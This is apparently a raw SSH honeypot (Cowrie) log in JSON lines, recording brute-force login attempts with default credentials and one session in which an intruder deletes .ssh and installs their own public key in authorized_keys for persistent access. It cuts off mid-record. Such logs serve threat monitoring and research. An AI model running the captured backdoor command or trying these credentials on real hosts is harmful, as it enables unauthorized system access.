{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:25.040540Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:25.135931Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:8e:fb:40:6e:28:5f:4f:7c:e1:af:0d:b6:de:0c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:25.138761Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:34.751405Z","src_ip":"139.19.117.129","session":"6c9541d8f35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":64784,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4fa57a72be0","protocol":"ssh","message":"New connection: 80.66.66.10:64784 (10.17.0.5:22) [session: a4fa57a72be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.047269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.052190Z","src_ip":"80.66.66.10","session":"a4fa57a72be0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.169322Z","src_ip":"80.66.66.10","session":"a4fa57a72be0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.528235Z","src_ip":"80.66.66.10","session":"a4fa57a72be0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.642349Z","session":"a4fa57a72be0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.790444Z","src_ip":"80.66.66.10","session":"a4fa57a72be0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:02:35.909662Z","src_ip":"80.66.66.10","session":"a4fa57a72be0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59236,"dst_ip":"10.17.0.5","dst_port":22,"session":"daac791c3a04","protocol":"ssh","message":"New connection: 92.118.39.92:59236 (10.17.0.5:22) [session: daac791c3a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:26.421551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:26.425643Z","src_ip":"92.118.39.92","session":"daac791c3a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:26.532283Z","src_ip":"92.118.39.92","session":"daac791c3a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:26.849718Z","src_ip":"92.118.39.92","session":"daac791c3a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:27.959952Z","src_ip":"92.118.39.92","session":"daac791c3a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58348,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ec9574f01a","protocol":"ssh","message":"New connection: 2.57.122.208:58348 (159.203.135.109:22) [session: d3ec9574f01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:29.913863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:30.045320Z","src_ip":"2.57.122.208","session":"d3ec9574f01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:30.049998Z","src_ip":"2.57.122.208","session":"d3ec9574f01a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:30.986060Z","src_ip":"2.57.122.208","session":"d3ec9574f01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:32.107277Z","src_ip":"2.57.122.208","session":"d3ec9574f01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56564,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d92b3b2e46","protocol":"ssh","message":"New connection: 2.57.122.210:56564 (10.17.0.5:22) [session: 33d92b3b2e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:58.123605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:58.128793Z","src_ip":"2.57.122.210","session":"33d92b3b2e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:58.234659Z","src_ip":"2.57.122.210","session":"33d92b3b2e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:58.547693Z","src_ip":"2.57.122.210","session":"33d92b3b2e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:03:59.671294Z","src_ip":"2.57.122.210","session":"33d92b3b2e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.193.137.190","src_port":57088,"dst_ip":"159.203.135.109","dst_port":22,"session":"e081e540692f","protocol":"ssh","message":"New connection: 31.193.137.190:57088 (159.203.135.109:22) [session: e081e540692f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:30.797638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:30.802283Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:30.892319Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zero","message":"login attempt [root/zero] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.254496Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.465018Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.468433Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.472496Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.559621Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.811258Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.814373Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.901115Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.904749Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.193.137.190","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"585f057887cd","protocol":"ssh","message":"New connection: 31.193.137.190:57096 (159.203.135.109:22) [session: 585f057887cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.980791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:31.985373Z","src_ip":"31.193.137.190","session":"585f057887cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-